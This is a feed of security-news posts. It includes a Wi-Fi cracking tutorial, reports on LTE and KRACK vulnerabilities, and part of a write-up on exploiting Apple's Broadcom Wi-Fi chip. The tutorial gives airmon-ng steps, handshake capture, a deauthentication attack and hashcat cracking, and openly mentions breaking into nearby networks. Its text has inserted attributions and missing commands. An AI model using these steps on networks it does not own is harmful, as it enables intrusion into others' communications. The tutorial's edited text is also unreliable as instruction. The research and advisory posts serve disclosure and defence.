Information Security News|Cyber Security|Hacking Tutorial

Wi-Fi Cracking

Alisa Esage G — Wed, 11 Apr 2018 03:54:40 +0000

Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat. This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network’s security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don’t actually use the password that you crack, information security training professionals said. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.

This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use.

This tutorial assumes that you:

Have a general comfortability using the command-line
Are running a debian-based linux distro, preferably Kali linux
Have Aircrack-ng installed
- sudo apt-get install aircrack-ng
Have a wireless card that supports monitor mode

Cracking a Wi-Fi Network – Monitor Mode

Begin by listing wireless interfaces that support monitor mode with:

airmon-ng

If you do not see an interface listed then your wireless card does not support monitor mode

We will assume your wireless interface name is wlan0 but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:

airmon-ng start wlan0

Run iwconfig. You should now see a new monitor mode interface listed (likely mon0 or wlan0mon).

For the purposes of this demo, we will choose to crack the password of my network, “hackme”. Remember the BSSID MAC address and channel (CH) number as displayed by airodump-ng, as we will need them both for the next step.

Capture a 4-way Handshake

WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don’t have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work, information security training experts said. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command.

Once you’ve captured a handshake, you should see something like; WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time.

Also you can force devices connected to the target network to reconnect, be sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake.

Once you’ve captured a handshake, press ctrl-c to quit airodump-ng. You should see a .cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password. The information security training professional rename this file to reflect the network name we are trying to crack:

mv ./-01.cap hackme.cap

The final step is to crack the password using the captured handshake. If you have access to a GPU, I highly recommend using hashcat for password cracking. I’ve created a simple tool that makes hashcat super easy to use called naive-hashcat. If you don’t have access to a GPU, there are various online GPU cracking services that you can use, like GPUHASH.me or OnlineHashCrack. You can also try your hand at CPU cracking with Aircrack-ng.

Note that both attack methods below assume a relatively weak user generated password. Most WPA/WPA2 routers come with strong 12 character random passwords that many users leave unchanged. If you are attempting to crack one of these passwords, the information security training expert recommend using the Probable-Wordlists WPA-length dictionary files.

Naive-hashcat uses various dictionary, rule, combination, and mask (smart brute-force) attacks and it can take days or even months to run against mid-strength passwords. The cracked password will be saved to hackme.pot, so check this file periodically. Once you’ve cracked the password, you should see something like this as the contents of your POT_FILE:

e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet

Where the last two fields separated by : are the network name and password respectively.

Deauth Attack

A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake “sender” addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with airodump-ng.

Use airodump-ng to monitor a specific access point (using -c channel –bssid MAC) until you see a client (STATION) connected. A connected client look something like this, where is 64:BC:0C:48:97:F7 the client MAC.

Once you’ve sent the deauth packets, head back over to your airodump-ng process, and with any luck you should now see something like this at the top right; WPA handshake: 9C:5C:8E:C9:AB:C0. Now that you’ve captured a handshake you should be ready to crack the network password, information security training professional said.

The post Wi-Fi Cracking appeared first on Information Security Newspaper | Hacking News.

LTE security flaws could be used for spying, spreading chaos

Alisa Esage G — Tue, 06 Mar 2018 03:44:46 +0000

A flight of new research papers show 4G LTE networks can be exploited for all sorts of badness.

There have been lots of reasons to be concerned about how easily someone with the right tools and knowledge could do very bad things with cellular communications networks. And while none of them have necessarily been to the level of some of the fictional stunts pulled off on television (see Mr. Robot), new research shows that things are even worse than they appear—and in many cases, that’s because of how carriers have implemented cellular standards.

As ZDNet’s Zack Whittaker reports, researchers at Purdue University and the University of Iowa conducting tests of 4G LTE networks have uncovered 10 new types of attacks. They made this discovery as part of their evaluation of a proof-of-concept 4G LTE penetration testing toolset, called LTEInspector. Combined with nine previously known attack methods that Syed Hussain, Omar Chowdhury, Shagufta Mehnaz, and Elisa Bertino also identified as still being usable against many carrier networks, the collection of exploits could be used to track device owners, eavesdrop on texts and other sensitive data, and even pose as them on cellular networks and spoof location and other data. An attacker could even spoof warning messages like those used by government agencies and weather services—such as the false missile warning sent out by a Hawaii government employee.

The security of 4G LTE networks is largely based on obscurity—many of the implementations are proprietary “black boxes,” as the Purdue and Iowa researchers put it, which makes performing true security evaluations difficult. And because of the large range of sub-components that must be configured, along with the need to be able to handle devices configured primarily for another carrier, there is a lot of slush in LTE implementations and not a lot of transparency about network security. Recent IEEE-published research found that implementations of the “control plane” for various LTE networks varied widely—problems found on one network didn’t occur on others.

And that variation is true of security as well. In one case, the Purdue and Iowa researchers found that a carrier didn’t encrypt “control plane” messages at all, meaning an attacker could even eavesdrop on SMS messages and other sensitive data. That flaw has since been fixed by the carrier.

While 4G LTE provides for a level of privacy for cellular customers through the use of ephemeral “subscriber identities” over the air, researchers at the Korea Advanced Institute of Science and Technology recently found that the Globally Unique Temporary Identifier (GUTI) issued by a majority of 4G LTE carriers was far from temporary. While carriers do change the GUTI for phones periodically, the KAIST researchers found that 19 of the 28 carriers they surveyed did so in a very predictable way—making it easy to predict not only when a new ID would be assigned but also what most of the new GUTI would be, because much of it went unchanged.

“In our global-scale measurement analysis, we did not find a single carrier that implemented GUTI reallocation securely,” the KAIST researchers wrote. A similar problem exists in 3G GSM networks’ temporary subscriber IDs.

The exploits discovered by the Purdue/Iowa team go beyond simple location tracking. One exploit allows tracking of a target by just using a phone number, sending a phone call while simultaneously blocking call notification by hijacking the target’s paging network connection. Another attack allows a malicious device to pose as the target device through an “authentication relay” attack before sending its own location data and other messages to distort carrier location data logs.

The paging network, which also carries SMS and other messages, can be hijacked for other purposes: to send messages to the network posing as the target, inject fake emergency alert messages, quietly kick the victim off the cellular network, or conduct denial-of-service and power depletion attacks against the victim.

All of these tricks are on top of other well-known attacks currently leveraged by “IMSI catchers” such as the controversial Stingray hardware used by law enforcement agencies. And that’s not to mention the various location-tracking techniques that exploit smartphones’ Wi-Fi or chatty mobile applications.

The post LTE security flaws could be used for spying, spreading chaos appeared first on Information Security Newspaper | Hacking News.

Industrial Products of many vendors still vulnerable to KRACK attack

Alisa Esage G — Mon, 30 Oct 2017 13:18:19 +0000

Many industrial networking devices from various vendors are still vulnerable to the recently disclosed KRACK attack (Key Reinstallation Attack).

Many industrial networking devices are vulnerable to the recently disclosed KRACK attack (Key Reinstallation Attack), including products from major vendors such as Cisco, Rockwell Automation, and Sierra Wireless.

A few weeks ago, researchers discovered several key management flaws in the core of Wi-Fi Protected Access II (WPA2) protocol that could be exploited by an attacker to hack into Wi-Fi network and eavesdrop on the Internet communications0 stealing sensitive information (i.e. credit card numbers, passwords, chat messages, emails, and pictures).

Below the full list of WPA2 Vulnerabilities discovered in the WPA2 protocol.

CVE-2017-13077: Reinstallation of the pairwise encryption key (PTK-TK) in the 4-way handshake.
CVE-2017-13078: Reinstallation of the group key (GTK) in the 4-way handshake.
CVE-2017-13079: Reinstallation of the integrity group key (IGTK) in the 4-way handshake.
CVE-2017-13080: Reinstallation of the group key (GTK) in the group key handshake.
CVE-2017-13081: Reinstallation of the integrity group key (IGTK) in the group key handshake.
CVE-2017-13082: Accepting a retransmitted Fast BSS Transition (FT) Reassociation Request and reinstalling the pairwise encryption key (PTK-TK) while processing it.
CVE-2017-13084: Reinstallation of the STK key in the PeerKey handshake.
CVE-2017-13086: reinstallation of the Tunneled Direct-Link Setup (TDLS) PeerKey (TPK) key in the TDLS handshake.
CVE-2017-13087: reinstallation of the group key (GTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.
CVE-2017-13088: reinstallation of the integrity group key (IGTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.

The above vulnerabilities affect products from tens of vendors, some of them are already working to fix the problems. Recently the Rockwell Automation announced to have patched its Stratix wireless access point against the KRACK vulnerability, while Microsoft addressed the issue with the October 2017 Patch Tuesday.

Sierra Wireless issued a security advisory to inform customers that many of its products, including access points and client devices, are affected by the vulnerabilities. The vendor plans to release security updates over the coming months. Siemens is still assessing its products for vulnerable devices.

WPA2 implementations are some industrial communications products are affected exposing the industrial devices to Krack attack.

Cisco confirmed that its access points and other wireless infrastructure components are affected only by the CVE-2017-13082.

Cisco published a security advisory to confirm that many products, including Cisco 829 Industrial Integrated Services routers and Industrial Wireless 3700 series access points, are affected by multiple vulnerabilities in Wi-Fi Protected Access and Wi-Fi Protected Access II.

“Among these ten vulnerabilities, only one (CVE-2017-13082) may affect components of the wireless infrastructure (for example, Access Points), the other nine vulnerabilities affect only client devices.
Multiple Cisco wireless products are affected by these vulnerabilities.” states the security advisory.

“Cisco will release software updates that address these vulnerabilities. There are workarounds that addressesthe vulnerabilities in CVE-2017-13077, CVE-2017-13078, CVE-2017-13079, CVE-2017-13080, CVE-2017-13081, and CVE-2017-13082. There are no workarounds for CVE-2017-13086, CVE-2017-13087, and CVE-2017-13088.”

Source:https://securityaffairs.co/wordpress/64937/hacking/krack-attack-industrial-products.html

The post Industrial Products of many vendors still vulnerable to KRACK attack appeared first on Information Security Newspaper | Hacking News.

Key Reinstallation Attacks Breaking WPA2 by forcing nonce reuse

Alisa Esage G — Mon, 16 Oct 2017 13:28:07 +0000

We discovered serious weaknesses in WPA2, a protocol that secures all modern protected Wi-Fi networks. An attacker within range of a victim can exploit these weaknesses using key reinstallation attacks (KRACKs). Concretely, attackers can use this novel attack technique to read information that was previously assumed to be safely encrypted. This can be abused to steal sensitive information such as credit card numbers, passwords, chat messages, emails, photos, and so on. The attack works against all modern protected Wi-Fi networks. Depending on the network configuration, it is also possible to inject and manipulate data. For example, an attacker might be able to inject ransomware or other malware into websites.

The weaknesses are in the Wi-Fi standard itself, and not in individual products or implementations. Therefore, any correct implementation of WPA2 is likely affected. To prevent the attack, users must update affected products as soon as security updates become available. Note that if your device supports Wi-Fi, it is most likely affected. During our initial research, we discovered ourselves that Android, Linux, Apple, Windows, OpenBSD, MediaTek, Linksys, and others, are all affected by some variant of the attacks. For more information about specific products, consult the database of CERT/CC, or contact your vendor.

The research behind the attack will be presented at the Computer and Communications Security (CCS) conference, and at the Black Hat Europe conference. Our detailed research paper can already be downloaded.

DEMONSTRATION

As a proof-of-concept we executed a key reinstallation attack against an Android smartphone. In this demonstration, the attacker is able to decrypt all data that the victim transmits. For an attacker this is easy to accomplish, because our key reinstallation attack is exceptionally devastating against Linux and Android 6.0 or higher. This is because Android and Linux can be tricked into (re)installing an all-zero encryption key (see below for more info). When attacking other devices, it is harder to decrypt all packets, although a large number of packets can nevertheless be decrypted. In any case, the following demonstration highlights the type of information that an attacker can obtain when performing key reinstallation attacks against protected Wi-Fi networks:

Our attack is not limited to recovering login credentials (i.e. e-mail addresses and passwords). In general, any data or information that the victim transmits can be decrypted. Additionally, depending on the device being used and the network setup, it is also possible to decrypt data sent towards the victim (e.g. the content of a website). Although websites or apps may use HTTPS as an additional layer of protection, we warn that this extra protection can (still) be bypassed in a worrying number of situations. For example, HTTPS was previously bypassed in non-browser software, in Apple’s iOS and OS X, in Android apps, in Android apps again, in banking apps, and even in VPN apps.

DETAILS

Our main attack is against the 4-way handshake of the WPA2 protocol. This handshake is executed when a client wants to join a protected Wi-Fi network, and is used to confirm that both the client and access point possess the correct credentials (e.g. the pre-shared password of the network). At the same time, the 4-way handshake also negotiates a fresh encryption key that will be used to encrypt all subsequent traffic. Currently, all modern protected Wi-Fi networks use the 4-way handshake. This implies all these networks are affected by (some variant of) our attack. For instance, the attack works against personal and enterprise Wi-Fi networks, against the older WPA and the latest WPA2 standard, and even against networks that only use AES. All our attacks against WPA2 use a novel technique called a key reinstallation attack (KRACK):

Key reinstallation attacks: high level description

In a key reinstallation attack, the adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number (i.e. nonce) and receive packet number (i.e. replay counter) are reset to their initial value. Essentially, to guarantee security, a key should only be installed and used once. Unfortunately, we found this is not guaranteed by the WPA2 protocol. By manipulating cryptographic handshakes, we can abuse this weakness in practice.

Key reinstallation attacks: concrete example against the 4-way handshake

As described in the introduction of the research paper, the idea behind a key reinstallation attack can be summarized as follows. When a client joins a network, it executes the 4-way handshake to negotiate a fresh encryption key. It will install this key after receiving message 3 of the 4-way handshake. Once the key is installed, it will be used to encrypt normal data frames using an encryption protocol. However, because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. As a result, the client may receive message 3 multiple times. Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. We show that an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged. The same technique can also be used to attack the group key, PeerKey, TDLS, and fast BSS transition handshake.

Practical impact

In our opinion, the most widespread and practically impactful attack is the key reinstallation attack against the 4-way handshake. We base this judgement on two observations. First, during our own research we found that most clients were affected by it. Second, adversaries can use this attack to decrypt packets sent by clients, allowing them to intercept sensitive information such as passwords or cookies. Decryption of packets is possible because a key reinstallation attack causes the transmit nonces (sometimes also called packet numbers or initialization vectors) to be reset to zero. As a result, the same encryption key is used with nonce values that have already been used in the past. In turn, this causes all encryption protocols of WPA2 to reuse keystream when encrypting packets. In case a message that reuses keystream has known content, it becomes trivial to derive the used keystream. This keystream can then be used to decrypt messages with the same nonce. When there is no known content, it is harder to decrypt packets, although still possible in several cases (e.g. English text can still be decrypted). In practice, finding packets with known content is not a problem, so it should be assumed that any packet can be decrypted.

The ability to decrypt packets can be used to decrypt TCP SYN packets. This allows an adversary to obtain the TCP sequence numbers of a connection, and hijack TCP connections. As a result, even though WPA2 is used, the adversary can now perform one of the most common attacks against open Wi-Fi networks: injecting malicious data into unencrypted HTTP connections. For example, an attacker can abuse this to inject ransomware or malware into websites that the victim is visiting.

If the victim uses either the WPA-TKIP or GCMP encryption protocol, instead of AES-CCMP, the impact is especially catastrophic.Against these encryption protocols, nonce reuse enables an adversary to not only decrypt, but also to forge and inject packets. Moreover, because GCMP uses the same authentication key in both communication directions, and this key can be recovered if nonces are reused, it is especially affected. Note that support for GCMP is currently being rolled out under the name Wireless Gigabit (WiGig), and is expected to be adopted at a high rate over the next few years.

The direction in which packets can be decrypted (and possibly forged) depends on the handshake being attacked. Simplified, when attacking the 4-way handshake, we can decrypt (and forge) packets sent by the client. When attacking the Fast BSS Transition (FT) handshake, we can decrypt (and forge) packets sent towards the client. Finally, most of our attacks also allow the replay of unicast, broadcast, and multicast frames. For further details, see Section 6 of our research paper.

Note that our attacks do not recover the password of the Wi-Fi network. They also do not recover (any parts of) the fresh encryption key that is negotiated during the 4-way handshake.

Android and Linux

Our attack is especially catastrophic against version 2.4 and above of wpa_supplicant, a Wi-Fi client commonly used on Linux. Here, the client will install an all-zero encryption key instead of reinstalling the real key. This vulnerability appears to be caused by a remark in the Wi-Fi standard that suggests to clear the encryption key from memory once it has been installed for the first time. When the client now receives a retransmitted message 3 of the 4-way handshake, it will reinstall the now-cleared encryption key, effectively installing an all-zero key. Because Android uses wpa_supplicant, Android 6.0 and above also contains this vulnerability. This makes it trivial to intercept and manipulate traffic sent by these Linux and Android devices. Note that currently 41% of Android devices are vulnerable to this exceptionally devastating variant of our attack.

Assigned CVE identifiers

The following Common Vulnerabilities and Exposures (CVE) identifiers were assigned to track which products are affected by specific instantiations of our key reinstallation attack:

CVE-2017-13077: Reinstallation of the pairwise encryption key (PTK-TK) in the 4-way handshake.
CVE-2017-13078: Reinstallation of the group key (GTK) in the 4-way handshake.
CVE-2017-13079: Reinstallation of the integrity group key (IGTK) in the 4-way handshake.
CVE-2017-13080: Reinstallation of the group key (GTK) in the group key handshake.
CVE-2017-13081: Reinstallation of the integrity group key (IGTK) in the group key handshake.
CVE-2017-13082: Accepting a retransmitted Fast BSS Transition (FT) Reassociation Request and reinstalling the pairwise encryption key (PTK-TK) while processing it.
CVE-2017-13084: Reinstallation of the STK key in the PeerKey handshake.
CVE-2017-13086: reinstallation of the Tunneled Direct-Link Setup (TDLS) PeerKey (TPK) key in the TDLS handshake.
CVE-2017-13087: reinstallation of the group key (GTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.
CVE-2017-13088: reinstallation of the integrity group key (IGTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.

Note that each CVE identifier represents a specific instantiation of a key reinstallation attack. This means each CVE ID describes a specific protocol vulnerability, and therefore many vendors are affected by each individual CVE ID. You can also read vulnerability note VU#228519 of CERT/CC for additional details on which products are known to be affected.

Source:https://www.krackattacks.com

The post Key Reinstallation Attacks Breaking WPA2 by forcing nonce reuse appeared first on Information Security Newspaper | Hacking News.

Exploiting The Wi-Fi Stack on Apple Devices

Alisa Esage G — Sat, 30 Sep 2017 04:48:14 +0000

Earlier this year we performed research into Broadcom’s Wi-Fi stack. Due to the ubiquity of Broadcom’s stack, we chose to conduct our prior research through the lens of one affected family of products — the Android ecosystem. To paint a more complete picture of the state of Wi-Fi security in the mobile ecosystem, we’ve chosen to revisit the topic – this time through the lens of Apple devices. In this research we’ll perform a deeper dive into each of the affected components, discover new attack surfaces, and finally construct a full over-the-air exploit chain against iPhones, allowing complete control over the target device.

Since there’s much ground to cover, we’ve chosen to split the research into a three-part blog series. The first blog post will focus on exploring the Wi-Fi stack itself and developing the necessary research tools to explore it on the iPhone. In the second blog post, we’ll perform research into the Wi-Fi firmware, discover multiple vulnerabilities, and develop an exploit allowing attackers to execute arbitrary code on the Wi-Fi chip itself, requiring no user-interaction. Lastly, in the final blog post we’ll explore the iPhone’s host isolation mechanisms, research the ways in which the Wi-Fi chip interacts with the host, and develop a fully-fledged exploit allowing attackers to gain complete control over the iOS kernel over-the-air, requiring no user interaction.

As we’ve mentioned before, Broadcom’s chips are present in a wide variety of devices – ranging from mobile phones to laptops (such as Chromebooks) and even Wi-Fi routers. While we’ve chosen to focus our attention on the Apple ecosystem this time around, it’s worth mentioning that the Wi-Fi firmware vulnerabilities presented in this research affect other devices as well. Additionally, as this research deals with a different attack surface in the Wi-Fi firmware, the breadth of affected devices might be wider than that of our prior research.

More concretely, the Wi-Fi vulnerabilities presented in this research affect many devices in the Android ecosystem. For example, two of the vulnerabilities (#1, #2) affect most of Samsung’s flagship devices, including the Galaxy S8, Galaxy S7 Edge and Galaxy S7. Of the two, one vulnerability is also known to affect Google devices such as the Nexus 6P, and some models of Chromebooks. As for Apple’s ecosystem, while this research deals primarily with iPhones, other devices including Apple TV and iWatch are similarly affected by our findings. The exact breadth of other affected devices has not been investigated further, but is assumed to be wider.

We’d also like to note that until hardware host isolation mechanisms are implemented across the Android ecosystem, every exploitable Wi-Fi firmware vulnerability directly results in complete host takeover. In our previous research we identified the lack of host isolation mechanisms on two of the most prominent SoC platforms; Qualcomm’s Snapdragon 810 and Samsung’s Exynos 8890. We are not aware of any advances in this regard, as of yet.

For the purpose of this research, we’ll demonstrate remote code execution on the iPhone 7 (the most recent iDevice at the time of this research), running iOS 10.2 (14C92). The vulnerabilities presented in this research are present in iOS up to (and including) version 10.3.3 (apart from #1, which was fixed in 10.3.3). Researchers wishing to port the provided research tools and exploits to other versions of iOS or to other iDevices would be required to adjust the referenced symbols.

Over the course of the blog post, we’ll begin fleshing out a memory research platform for iOS. Throughout this blog post series, we’ll rely on the framework extensively, to both analyse and explore components on the system, including the XNU kernel, hardware components, and the Wi-Fi chipset itself. In the next few days, we intend to release the framework publicly. Once the code is made public, we will include links to the corresponding modules to this blog post.

The vulnerabilities affecting Apple devices have been addressed in iOS 11. Similarly, those affecting Android have been addressed in the September bulletin. Note that within the Android ecosystem, OEMs bear the responsibility for providing their own Wi-Fi firmware images (partially due to their high level of customisation). Therefore the corresponding fixes should appear in the vendors’ own bulletins, rather than Android’s security bulletin.

Creating a Research Platform

Before we can begin exploring, we’ll need to lay down the groundwork first. Ideally, we’d like to create our own debugger — allowing us to both inspect and instrument the Wi-Fi firmware, thereby making exploration (and subsequent exploit development) much easier.

During our previous research into Broadcom’s Wi-Fi chip within the context of the Android ecosystem, this task turned out to be much more straight-forward than expected. Instead of having to create an entire research environment from scratch, we relied on several properties provided by the Android ecosystem to speed up the development phase.

For starters, many Android devices allow developers to intentionally bypass their security model, using “rooted” builds (such as userdebug). Flashing such a build onto a device allows us to freely explore and interact with many components on the system. As the security model is only bypassed explicitly, the odds of side-effects resulting from our research affecting the system’s behaviour are rather slim.

Additionally, Broadcom provides their own debugging tools to the Android ecosystem, consisting of a command-line utility and a dedicated set of ioctls within Broadcom’s device driver, bcmdhd. These tools allow sufficiently privileged users to interact with the Wi-Fi chip in a variety of ways, including the ability to access the chip’s RAM directly — an essential primitive when constructing a debugger. Basing our own toolset on this platform allowed us to create a rather comfortable research environment.

Furthermore, Android utilises the Linux Kernel, which is licensed under GPLv2. Therefore, the kernel’s source code, including that of the device drivers, is freely available. Reading through Broadcom’s device driver (bcmdhd) turned out to be an invaluable resource — sparing us some unnecessary reverse-engineering while also allowing us to easily assess the ways in which the chip and host interact with one another.

Lastly, some of the data sheets pertaining to the Wi-Fi SoCs used on Android devices were made publicly available by Cypress following their acquisition of Broadcom’s IoT business. While most of the information in the data sheets is irrelevant to our research, we were able to gather a handful of useful clues regarding the architecture of the SoC itself.

Unfortunately, it appears we have no such luck this time around!

First, Apple does not provide a “developer-mode” iPhone, nor is there a mechanism to selectively bypass the security model. This means that in order to meaningfully explore the system, researchers are forced to subvert the device’s security model (i.e., by jailbreaking). Consequently, exploring different components within the device is made much more difficult.

Additionally, unlike the Android ecosystem, Apple has chosen to develop their entire host-side stack “from scratch”. Most importantly, the iOS drivers used to interact with Broadcom’s chip are written by Apple, and are not based on Broadcom’s FullMAC drivers (bcmdhd or brcmfmac). Other host-side utilities, such as Broadcom’s debugging toolchain, are thus also not included.

That said, Apple did develop their own mechanisms for accessing and debugging the chip. These capabilities are exposed via a set of privileged ioctls embedded in the IO80211Family driver. While the interface itself is undocumented, reverse-engineering the corresponding components in both the IO80211Family and AppleBCMWLANCore drivers reveals a rather powerful command channel, and one which could possibly be used for the purposes of our research. Unfortunately, access to this interface requires additional entitlements, thus preventing us from leveraging it (unless we escalate our privileges).

Lastly, there’s no overlap between the revisions of Wi-Fi chips used on Apple’s devices and those used in the Android ecosystem. As we’ll see later on, this might be due to the fact that Apple-specific Wi-Fi chips contain Apple-specific features. Regardless, perhaps unsurprisingly, none of the corresponding data sheets for these SoCs have been made available.

So… it appears we’ll have to deal with a proprietary chip, on a proprietary device running a proprietary operating system. We have our work cut out for us! That said, it’s not all doom and gloom; instead of relying on all of the above, we’ll just need to create our own independent research platform.

Acquiring the ROM?

Let’s start by analysing the SoC’s firmware and loading it up into a disassembler. As we’ve seen in the previous round of research, the Wi-Fi firmware consists of a small chunk of ROM containing most of the firmware’s data and code, and a larger blob of RAM housing all of the runtime data structures (such as the heap and stack), as well as patches to the ROM’s code.

Since the RAM blob is loaded into the Wi-Fi chip during its initialisation by the host, it should be accessible via the host’s root filesystem. Indeed, after downloading the iPhone’s firmware image, extracting the root filesystem and searching for indicative strings, we are greeted with the following result:

Great, so we’ve identified the firmware’s RAM. What’s more, it appears that the Wi-Fi chip embedded in the phone is a BCM4355C0, a model which I haven’t come across in Android devices in the past (also, it curiously does not appear under Broadcom’s website).

Regardless, having the RAM image is all well and good, but what about the ROM? After all, the majority of the code is stored in the chip’s ROM. Even if we were to settle for analysing the RAM alone, it’d be extremely difficult to reverse-engineer independently of the ROM as many of the functions in the former address data stored in the latter. Without knowing the ROM’s contents, or even its rudimentary layout, we’ll have to resort to guesswork.

However, this is where we run into a bit of a snag! To extract the ROM we’ll need to interact with the Wi-Fi chip itself… Whereas on Android we could simply use a “rooted” build to gain elevated privileges, and then access the Wi-Fi SoC via Broadcom’s debugging utilities, there are no comparable mechanisms on the iPhone. In that case, how will we interact with the chip and ultimately extract its ROM?

We could opt for a hardware-based research environment. Reviewing the data sheets for one of Broadcom’s Wi-Fi SoCs, BCM4339, reveals several interfaces through which the chip may be debugged, including UART and a JTAG interface.

That said, there are several disadvantages to this approach. First, we’d need to open up the device, locate the required interfaces, and make sure that we do not damage the phone in the process. Moreover, requiring a such a setup for each research device would cause us to incur significant start-up overhead. Perhaps most importantly, relying on a hardware-based approach would limit the amount of researchers who’d be willing to utilise our research platform — both because hardware is a relatively specialised skill-set, and since people might (rightly) be wary of causing damage to their own devices.

So what about a completely software-based solution? After all, on Android devices we were able to access the chip’s memory solely using software. Perhaps a similar solution would apply to Apple devices?

To answer this question, let’s trace our way through the Android components involved in the control flow for accessing the Wi-Fi chip’s memory from the host. The flow begins with a user issuing a memory access command via Broadcom’s debugging utility (“membytes”). This, in turn, triggers an ioctl to Broadcom’s driver, requesting the memory access operation. After some processing within the driver, it performs the requested action by directly accessing the chip’s tightly-coupled memory (TCM) from the kernel’s Virtual Address-Space (VAS).

Two Registers Walk Into a BAR

As we’re mostly interested in the latter part, let’s disregard the Android-specific components for now and focus on the mechanism in bcmdhd allowing TCM access from the host.

Reviewing the driver’s code allows us to arrive at relevant code flow. First, the driver enables the PCIe-connected Wi-Fi chip. Then, it accesses the PCIe Configuration Space to program the Wi-Fi chip’s Base Address Registers (BARs). In keeping with the PCI standards, programming and mapping in the BARs into the host’s address space exposes functionality directly from the Wi-Fi SoC to the host, such as IO-Space or Memory Space access. Taking a closer look at Broadcom’s chips, they seem to provide two BARs in their configuration space; BAR0 and BAR1.

BAR0 is used to map-in registers corresponding to the different cores on the Wi-Fi SoC, including the ARM processor running the firmware’s logic, and more esoteric components such as the PCIe Gen 2 core on the Wi-Fi SoC. The cores themselves can be selected by accessing the PCIe configuration space once again, and programming the “BAR0 Window” register, directing it at the backplane address corresponding to the requested core.

BAR1, on the other hand, is used solely to map the Wi-Fi chip’s TCM into the host. Since Broadcom’s driver leverages the TCM access capability extensively, it maps-in BAR1 into the kernel’s virtual address space during the device’s initialisation, and doesn’t unmap it until the device shuts down. Once the TCM is mapped into the kernel, all subsequent memory accesses to the chip’s TCM are performed by simply modifying the mapped block within the kernel’s VAS. Any write operations made to the memory-mapped block are automatically reflected to the Wi-Fi chip’s RAM.

This is all well and good, but what about iOS? Since Apple develops their own drivers for interacting with Broadcom’s chips, what holds true in Broadcom’s drivers doesn’t necessarily apply to Apple’s drivers. After all, we could think of many different approaches to accessing the chip’s memory. For example, instead of mapping the entire TCM into the kernel’s memory, they might elect to only map-in certain regions of the TCM, to map it only on-demand, or even to rely on different chip-access mechanisms altogether.

To get to the bottom of this, we’ll need to start reverse-engineering Apple’s drivers. This can be done by extracting the kernelcache from the iPhone’s firmware and loading it into our favourite disassembler. After loading the kernel, we immediately come across two driver KEXTs related to Broadcom’s Wi-Fi chip; AppleBCMWLANCore and AppleBCMWLANBusInterfacePCIe.

Spending some time reverse-engineering the two drivers, it’s quickly evident what their corresponding roles are. AppleBCMWLANCore serves as a high-level driver, dealing mostly with configuring the Wi-Fi chip, handling incoming events, and chip-specific features such as offloading. In keeping with good design practices, the driver is unaware of the interface through which the chip is connected, allowing it to focus solely on the logic required to interact with the chip. In contrast, AppleBCMWLANBusInterfacePCIe, serves a complementary role; it is a low-level driver tasked with handling all the PCIe related communication protocols, dealing with MSI interrupts, and generally everything interface-related.

We’ll revisit the two drivers more in-depth later on, but for now it’s sufficient to say that we have a relatively good idea where to start looking for a potential TCM mapping — after all, as we’ve seen, the TCM access is performed by mapping the PCIe BARs. Therefore, it would stand to reason that such an operation would be performed by AppleBCMWLANBusInterfacePCIe.

After reverse-engineering much of the driver, we come across a group of suspicious-looking functions that appear like candidates for TCM accessors. All the above functions serve the same purpose — accessing a memory-mapped buffer, differing from one another only in the size of the word used (16, 32, or 64-bit). Anecdotally, the corresponding APIs for TCM access in the Android driver follow the same structure. What’s more, the above functions all reference the string “Memory”… We might be onto something!

Kernel Function 0xFFFFFFF006D1D9F0

Cross-referencing our way up the call-chain, it appears that all of the above functions are methods pertaining to instances of a single class, which incidentally bears the same name as that of the driver: AppleBCMWLANBusInterfacePCIe. Since several functions in the call-chain are virtual functions, we can locate the class’s VTable by searching for 64-bit words containing their addresses within the kernelcache.

To avoid unnecessary confusion between the object above and the driver, we’ll refer to the object for now on as the “PCIe object”, and we’ll refer to the driver by its full name; “AppleBCMWLANBusInterfacePCIe”.

Kernel Memory Analysis Framework

Now that we’ve identified mechanisms in the kernel possibly relating to the Wi-Fi chip’s TCM, our next course of action is to somehow access them. Had we been able to debug the iOS kernel, we could have simply placed a breakpoint on the aforementioned memory access functions, recorded the location of the shared buffer, and then used our debugger to freely access the buffer on our own. However, as it happens, iOS offers no such debugger. Indeed, having such a debugger would allow users to subvert the device’s security model…

Instead, we’ll have to create our kernel debugger!

Debuggers usually consist of two main pieces of functionality:

The ability to modify the control flow of the program (e.g., by inserting breakpoints)
The ability to inspect (and modify) the data being processed by the program

